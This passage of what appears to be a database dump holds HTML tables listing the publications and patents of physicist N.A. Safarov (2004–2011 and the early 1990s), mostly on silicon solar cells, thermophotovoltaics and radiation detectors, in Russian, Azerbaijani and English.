width=\"95\"><p>А.М.Гашимов</p><p>N.A. Safarov</p><p>Х.Г.Гасанов</p></td><td width=\"102\"><p>Тобольск, Russian<strong></strong></p></td><td width=\"60\"><p><strong>2004</strong></p></td><td width=\"60\"><p>Часть1, с.237-239<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Особенности применения фотоэлектрических установок в горных условиях Азербайджана</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>А.М.Гашимов</p><p>N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>Тобольск, Russian<strong></strong></p></td><td width=\"60\"><p>2004<strong></strong></p></td><td width=\"60\"><p>Часть1, с. 234-236<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>A new&nbsp; low-noise avalanche photodiode with micro-pixel structure</p></td><td width=\"91\"><p>Journal articles<strong></strong></p></td><td width=\"95\"><p>Alekperov O.</p><p>Jafarov E.</p><p>Sadygov Z.</p><p>N.A. Safarov</p><p>Suleimanov M.</p><p>Madatov R.</p><p>Musaev M.</p></td><td width=\"102\"><h2>Fizika, &nbsp;</h2><p><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>2004</strong><strong></strong></p></td><td width=\"60\"><p><strong>C.</strong><strong>&nbsp;Х&nbsp; №4,&nbsp;&nbsp;</strong><strong>s</strong><strong>.126-127</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Коротковолновая фоточувствительность в облученных кремниевых фотопреобразователях с оптическими покрытиями</p></td><td width=\"91\"><p>Journal articles<strong></strong></p></td><td width=\"95\"><p>Р.С. Мадатов,</p><p>N.A. Safarov</p><p>В.Г. Гасумова,</p><p>Г.М. Ахмедов</p></td><td width=\"102\"><p>АМЕА Xəbərləri<strong></strong></p></td><td width=\"60\"><p>2005<strong></strong></p></td><td width=\"60\"><p>№5, s.51<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Elektrik dövrəsinin avtomatik idarə qurğusu</p></td><td width=\"91\"><p>Patent.</p><p>&nbsp;</p></td><td width=\"95\"><p>N.A. Safarov</p><p>Cəfərova E.Ə.</p><p>Mədətov R.S.</p><p>Əhmədov Q.M.</p><p>&nbsp;</p></td><td width=\"102\"><p>I 2005 0059</p><p><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>2005</strong></p></td><td width=\"60\"><p><strong>№ а20030081, 25. 04.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Computer network,&nbsp; gathering and analysis of ecoenergetic parameters of&nbsp; Azerbaijan Republic</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Aliev F.G.</p><p>N.A. Safarov</p><p>Rzazade E.M.&nbsp;</p></td><td width=\"102\"><p>Baku,&nbsp; Azerbaijan,<strong></strong></p></td><td width=\"60\"><p>2005<strong></strong></p></td><td width=\"60\"><p>p. 202-206&nbsp;&nbsp;<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние температурной обработки на генерационное время жизни носителей в детекторах ядерных частиц на основе высокоомного кремния</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Джафарова Э.А.</p><p>N.A. Safarov</p><p>Тапдыгов Э. С.</p><p>Искендерзаде З.А.</p><p>Алиханова Ш. А.</p><p>&nbsp;</p></td><td width=\"102\"><p>Baku, Azerbaijan<strong></strong></p></td><td width=\"60\"><p>2005<strong></strong></p></td><td width=\"60\"><p>p. 827-829<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Исследование кремниевых текстурированных фотопреобразователей для оптимизации параметров при концентрированных потоках излучения</p></td><td width=\"91\"><p>Journal articles<strong></strong></p></td><td width=\"95\"><p>Я.Ю. Гусейнов</p><p>N.A. Safarov</p><p>В.Д. Шукюрова<strong></strong></p></td><td width=\"102\"><p><strong>Elmi Xəbərlər Sumqayıt ,</strong><strong></strong></p></td><td width=\"60\"><p><strong>2005</strong></p></td><td width=\"60\"><p><strong>c.</strong><strong>&nbsp;5,&nbsp;</strong><strong>№3,&nbsp;</strong><strong>s.</strong><strong>7-10</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Thermophotovoltaic solar energy converters on the basis A<sup>V</sup>B<sup>VI</sup>.</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A. Bayramov,</p><p>N.A. Safarov</p><p>A. Hashimov,</p><p>G. Akhmedov</p><p>&nbsp;</p></td><td width=\"102\"><p><strong>Waikoloa</strong><strong>, Hawaii, USA</strong><strong>.</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>v.1,pp.651-654. ISBN: 1-4244-0017-1,Digital Object Identifier: 10.1109/WCPEC.2006.279539</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Monitoring of intensity of electromagnetic radiation</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>E.M.Rzazadeh N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p><strong>Ankara</strong><strong>, Turkey</strong><strong>,</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>p.687-689</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Serial resistance of the solar converter on the basis of silicon working at the concentrated radiation</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Z.Ya.Sadygov</p><p>E.A.Dzhafarova</p><p>E.S.Taptygov</p><p>Z.A.Iskenderzad N.A. Safarov</p><p>V.D.Shukurova</p></td><td width=\"102\"><p><strong>Ankara</strong><strong>, Turkey</strong><strong>,</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>p.1070-1071</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>A solar power plant with a high performance solar cells and thin concentrators made of aluminium-backed epoxy coated polymers</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A.A.Bayramov</p><p>N.A. Safarov</p><p>A.M.Hashimov</p><p>F.J.Safarova</p></td><td width=\"102\"><p><strong>Ankara</strong><strong>, Turkey</strong><strong>,</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>p.1037-1039</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>A solar power plant with a high performance solar cells and thin concentrators</p><p>&nbsp;</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>N.A. Safarov</p><p>A.A.Bayramov</p><p>A.M.Hashimov</p></td><td width=\"102\"><p>Makuhari Messe Chiba, Japan<strong></strong></p></td><td width=\"60\"><p>2006<strong></strong></p></td><td width=\"60\"><p>sr043H00094.<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Matrix composite sensor for measurement mere stream</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Bayramov A.A. N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>Fizika<strong></strong></p></td><td width=\"60\"><p>2006<strong></strong></p></td><td width=\"60\"><p>C. ХII &nbsp;№1-2, &nbsp;s..38-40<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Thermophotovoltaic converters on the basis AVBVI for high concentration solar applicantions</p><p>&nbsp;</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p><em>A.A.Bayramov, G.M.Akhmedov,</em>N.A. Safarov</p><p><em>V.D.Shukurova</em></p></td><td width=\"102\"><p><strong>Alternative Energy and Ecology</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>№5 (37) pp.85-87.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Measurement heat stream in mere by the matrix sensor</p><p>&nbsp;</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A.A. Bayramov</p><p>N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>Klaipeda, Lithuania</p></td><td width=\"60\"><p>2006</p></td><td width=\"60\"><p>4F, #147</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Konsentrə olunmuş günəş şüalanmasının termofotovoltaik çeviriciləri</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Y.Y.Hüseynov</p><p>N.A. Safarov</p><p>V.D.Şükürova</p><p>Q.M.Əhmədov</p></td><td width=\"102\"><p>Elmi Xəbərlər, Sumqayıt</p></td><td width=\"60\"><p>2006</p></td><td width=\"60\"><p>c. 6, , №4, s.15-19</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Çoxlaylı və səthi teksturə edilmiş silisium günəş elementlərinin fotohəssaslığı</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Y.Y.Hüseynov</p><p>N.A. Safarov</p><p>V.D.Şükürova</p></td><td width=\"102\"><p><strong>Bakı Universitetinin Xəbərləri</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>№2, səh.163-172</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Gamma radiation detectors on the base CdTe for environmental monitoring</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A.A.Bayramov N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>Baku<strong></strong></p></td><td width=\"60\"><p>2006<strong></strong></p></td><td width=\"60\"><p>pp. 189-190<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Maili düşən xətti polyarizə olunmuş şüalanmada çoxlaylı silisium günəş elementlərində fotopleoxroizm</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Y.Y.Hüseynov</p><p>N.A. Safarov</p><p>V.D.Şükürova</p></td><td width=\"102\"><p>Azərbaycan Texniki Universiteti, Elmi əsərlər,<strong></strong></p></td><td width=\"60\"><p>2006<strong></strong></p></td><td width=\"60\"><p>cild V(19), , №3, s.15-18<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Экспериментальное исследование термостойкости оптических материалов в концентрированных солнечных элементах</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Я.Ю. Гусейнов</p><p>N.A. Safarov</p><p>В.Д. Шукюрова</p></td><td width=\"102\"><p><strong>Elmi Xəbərlər</strong><strong>,</strong><strong>Sumqayıt Dövlət Universiteti</strong><strong></strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>c.</strong><strong>&nbsp;6, , №2,&nbsp;</strong><strong>s.8</strong><strong>-10</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Thermophotovoltaic solar energy converters on the basis AVBVI</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A.A.Bayramov, N.A. Safarov</p><p>A.M.Hashimov, G.M.Akhmedov.</p></td><td width=\"102\"><p>Dresden<strong></strong></p></td><td width=\"60\"><p>2006<strong></strong></p></td><td width=\"60\"><p>1AV.2.90,<strong>&nbsp;</strong>#2015.<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Matrix sensor of stream on the bases of composite materials</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>A.A.Bayramov N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>ICCES</p></td><td width=\"60\"><p>2007<strong></strong></p></td><td width=\"60\"><p>vol.1, no.1, pp.1-5<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Кремниевые фотоэлектрические преобразователи для солнечных модулей с концентратором.</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>З.Я.Садыгов</p><p>N.A. Safarov</p><p>Э.А.Джафарова</p><p>Э.С.Таптыгов</p></td><td width=\"102\"><p>Fizika<strong></strong></p></td><td width=\"60\"><p>2007<strong></strong></p></td><td width=\"60\"><p>C. ХIII &nbsp;№4, &nbsp;s..168-170<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Thermophotovoltaic properties &nbsp;of Bi<sub>2</sub>Te<sub>3</sub>and Bi<sub>2</sub>Se<sub>3</sub></p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>A.A.Bayramov, N.A. Safarov</p><p>G.M.AkhmedovS.M.Bayramova.</p></td><td width=\"102\"><p>J. Physics NAS<strong></strong></p></td><td width=\"60\"><p>2007<strong></strong></p></td><td width=\"60\"><p>v.XIII, #4, pp.156-158.<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Electric and luminescent properties of&nbsp; \"radiation detection materials\" CdTe: Cl.</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>D.V. Korbutyak, Yu.I. Ivonyak, N.D.Vakhnyak,</p><p>N.A. Safarov</p><p>D.I. Tsutsura,</p><p>V.D. Popovych, V.B.Brytan, A.A.Bayramov, M.K.Zaidi</p></td><td width=\"102\"><p>Baku<strong></strong></p></td><td width=\"60\"><p>2007<strong></strong></p></td><td width=\"60\"><p>p.283-286.<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Фотоэлектрические преобразователи на основе нанокомпозитных полупроводниковых полимеров</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>А.А. Байрамов</p><p>N.A. Safarov</p><p>Н.Н. Мурсакулов</p><p>Х.М. Мамедова</p><p>Б.А. Мамедов</p><p>И.Д. Ахмедов</p></td><td width=\"102\"><p>Kimya problemləri&nbsp;<strong></strong></p></td><td width=\"60\"><p>2007<strong></strong></p></td><td width=\"60\"><p>№4, s..751-753<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Investigation of photogeneration processes in semiconductive polymers</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>A.A.Bayramov</p><p>N.A. Safarov</p><p>N.N.Mursakulov</p><p>H.M.Mamedova</p><p>B.A.Mamedov</p></td><td width=\"102\"><p>J. Physics NAS,<strong></strong></p></td><td width=\"60\"><p>2008<strong></strong></p></td><td width=\"60\"><p>v.XIV, #1, pp.10-13.<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Automatic photoelectric device for most optimum illumination of objects</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>A.A.Bayramov N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>ICCES<strong></strong></p></td><td width=\"60\"><p>2008<strong></strong></p></td><td width=\"60\"><p>vol.086, no.1, pp.1-6<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Hybrid organic – silicon nano-composite devises and risk assessment of&nbsp; nanobiotechnologies</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A.A.Bayramov N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>NATO&nbsp; ARW Abstracts Book.Saint-Petersburg, Russia<strong></strong></p></td><td width=\"60\"><p>2008<strong></strong></p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Photogeneration processes in semiconductive polymeric gamma detectors</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A.A.Bayramov</p><p>N.N.Mursakulov</p><p>N.A. Safarov</p><p>N.N. Abdulzade</p></td><td width=\"102\"><p>Ankara, Turkey<strong></strong></p></td><td width=\"60\"><p>2008<strong></strong></p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Synthesis of quantum dots and mesoporouse of TiO for solar cells</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>A.A.Bayramov</p><p>N.A. Safarov</p><p>N.N.Mursakulov</p><p>H.M.Mamedova</p><p>&nbsp;</p></td><td width=\"102\"><p>J. Physics NAS<strong></strong></p></td><td width=\"60\"><p>2008<strong></strong></p></td><td width=\"60\"><p>v.XIV, #3, pp.154-157.<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Günəş konsentratoru</p></td><td width=\"91\"><p>Patent</p></td><td width=\"95\"><p>N.A. Safarov</p><p>A.A.Bayramov</p><p>А.А.Həşimov</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>N</p><p>0041, 07.03.2008</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Heliostat sahəli günəş fotoelektrik stansiyasının ümumi maya dəyəri haqqında</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>N.A. Safarov</p><p>E.M.Rzazadə</p><p>İ.Q.Əliyev</p></td><td width=\"102\"><p>Fizika</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>C. ХIV &nbsp;№3, &nbsp;s..85-87</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Scanner for monitoring of radiation safety</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>A.A.Dovlatov</p><p>N.A. Safarov</p><p>Z.Y.Sadygov</p></td><td width=\"102\"><p>Bakı, Azərbaycan</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>pp. 103-104</p><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Performance of new micro-pixel avalanche photo-diodes from Zecotek Photonics</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Z.Y.Sadygov A.A.Dovlatov</p><p>A.F.Zerrouk</p><p>N.A. Safarov</p><p>A.Ariffin</p><p>S. Khorev</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p><em>2008</em></p></td><td width=\"60\"><p>http://ndip.in2p3.fr/ndip08/</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Application nanotechnologies for increase of efficiency of a solar photocell</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>N.A.Safarov</p><p>A.A.Sadygova</p></td><td width=\"102\"><p><em>Ecoenergetika,</em></p></td><td width=\"60\"><p><em>2009</em></p></td><td width=\"60\"><p><em>#1,&nbsp; p.39-42</em></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Технология инноваций</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>А.А.Байрамов, Н.А.Сафаров, Н.Н.Мурсакулов, О.Л.Фиговский</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>с.42-46</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Basic construction for solar power plants.</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>F.G.Aliev, E.M.Rzazadeh, N.A.Safarov, I.Q.Aliev, N.N.Mursakulov</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>p.93-96</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Investigation of si-sio<sub>2</sub>/obligo-β-naphthol/metal heterostructures</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>A.A.Bayramov, N.N.Mursakulov, Sh.M.Hasannli, &nbsp;N.A.Safarov, B.A.Mamedov,&nbsp; N.N.Abdulzade, U.F.Samedova, X.M.Mamedova, R.K.Guseynov.</p></td><td width=\"102\"><p>Scientific Israel - Technological Advantages</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>vol 11, No 1 p. 9-14</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Method for increasing conversion efficiency of solar energy into electric power and a device for carrying out said method</p></td><td width=\"91\"><p>Patent</p></td><td width=\"95\"><p>A.M. Gashimov</p><p>A.A.Bayramov</p><p>N.N.Mursakulov</p><p>N.A Safarov.</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>WO/2009/105840</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Performance of new micro-pixel avalanche photodiodes from Zecotek Photonics</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Z.Y.Sadygov</p><p>A.F.Zerrouk</p><p>A.Ariffin</p><p>N.A. Safarov</p><p>J.Sasam</p><p>V.Zhezher</p><p>N.Anphimov A.A.Dovlatov</p></td><td width=\"102\"><p>Nuclear Instruments and Methods in Physics Research,</p><p>Fransa &nbsp;</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>A, 610 &nbsp;p.381- 383</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Independent photoelectric installation with thermodynamic observation the sun</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>N.A. Safarov</p><p>A.A.Sadygova</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>p.91-93</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Yeni mikropikselli selvari radiasiya detektoru</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Ə.A.Dövlətov</p><p>Z.Y.Sadıqov</p><p>N.A. Safarov</p><p>R.M.Muxtarov</p><p>&nbsp;</p></td><td width=\"102\"><p>AMEA Radiasiya Problemləri İnstitutu</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>səh.46-47</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>A new avalanche photodiode with wide linearity range</p><p>&nbsp;</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Z.Y. Sadygov</p><p>R.M. Mukhtarov A.A. Dovlatov</p><p>N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>J. Physics NAS</p><p>&nbsp;</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>vol. XVI,Number 2, Series: En</p><p>pp.367-369</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Effect of electrical photo guenchinq in polymer – ferrocene</p><p>&nbsp;</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>G.Z. Suleymanov</p><p>N.A. Safarov</p><p>A.F. Gochuyeva M.A. Kurbanov I.N. Orujov</p><p>E.A. Jafarova</p></td><td width=\"102\"><p>J. Physics NAS</p><p>&nbsp;</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>vol. XVI,Number 2,</p><p>Series: En</p><p>p.378-380</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Yeraltı boru kəmərlərində mayelərin sızmasını təyin edən akustik axımaxtaran</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Ş.F.Müttəlibova</p><p>Ə.Ə.Hüseynov</p><p>N.Ə.Səfərov</p><p>N.M.Paşayev</p></td><td width=\"102\"><p>Azərbaycan Milli Aerokosmik Agentliyinin Xəbərləri,</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p><em>#1(13), səh.47-50</em></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Correlation of the optical properties with ε(T)- dependence at ferroelectric phase transition in TlInS<sub>2</sub>doped with different impurities</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>O.Z.Alekperov</p><p>A.I.Nadjafov</p><p>N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>Baku</p><p>&nbsp;</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>p.63</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>γ-Radiation stimulated structural transition in TlInS<sub>2</sub>&nbsp;from monoclinic to hexagonal phase</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>O.Z.Alekperov</p><p>V.A.Gasymov</p><p>A.I.Nadjafov</p><p>N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>p.102</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Günəş fotoelektrik çeviricisinin&nbsp; hazırlanma üsulu</p></td><td width=\"91\"><p>Patent</p></td><td width=\"95\"><p>A.A. Bayramov</p><p>N.Ə.Səfərov</p><p>N.N. Mursakulov</p><p>Ş.H. Həsənli</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>İ 0090.</p><p>07.10.2010</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Эффект фотогашения электропроводности в композитах полимер - ферроцен</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>M.A. Kурбанов</p><p>Г.З.Сулейманов</p><p>Н.А. Сафаров</p><p>А.Ф. Гочуева</p><p>И.Н. Оруджев</p><p>З.М. Мамедова</p></td><td width=\"102\"><p>Физика и техника полупроводников, Russian</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><p>том 45, вып.4,p. 510-5</p></td></tr></tbody></table>  <br></div>'),(1545,964,'en','Nuru Safarov','Nuru Safarov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"606\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"91\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"95\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Кремниевые солнечные элементы с просветляющим слоем из Та<sub>2</sub>О<sub>5</sub></p></td><td width=\"91\"><p>Journal articles<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Абдуллаев Г.Б., Бакиров М.Я.</p><p>Safarov N.A.</p><p><strong>&nbsp;</strong></p></td><td width=\"102\"><h2>Гелиотехника</h2><h2>,</h2><p><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>1992</strong></p></td><td width=\"60\"><p><strong>№5, с.11-13</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Кремниевые солнечные элементы с просветляющими слоями из оксида и нитрида кремния</p></td><td width=\"91\"><p>Journal articles<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Абдуллаев Г.Б., Бакиров М.Я.</p><p>Safarov N.A.</p><p><strong>&nbsp;</strong></p></td><td width=\"102\"><h2>Гелиотехника</h2><h2>&nbsp;</h2></td><td width=\"60\"><p><strong>1993</strong></p></td><td width=\"60\"><h2>№1,</h2><p><strong>с.75-77</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние просветляющего слояТа<sub>2</sub>О<sub>5&nbsp;</sub>на фотоэлектрические характеристики&nbsp; кремниевого солнечного элемента</p></td><td width=\"91\"><p>Conference Proceedings<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Safarov N.A.</p><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p>Азербайджана Баку<strong>&nbsp;</strong></p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>с.3</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Радиационные эффекты 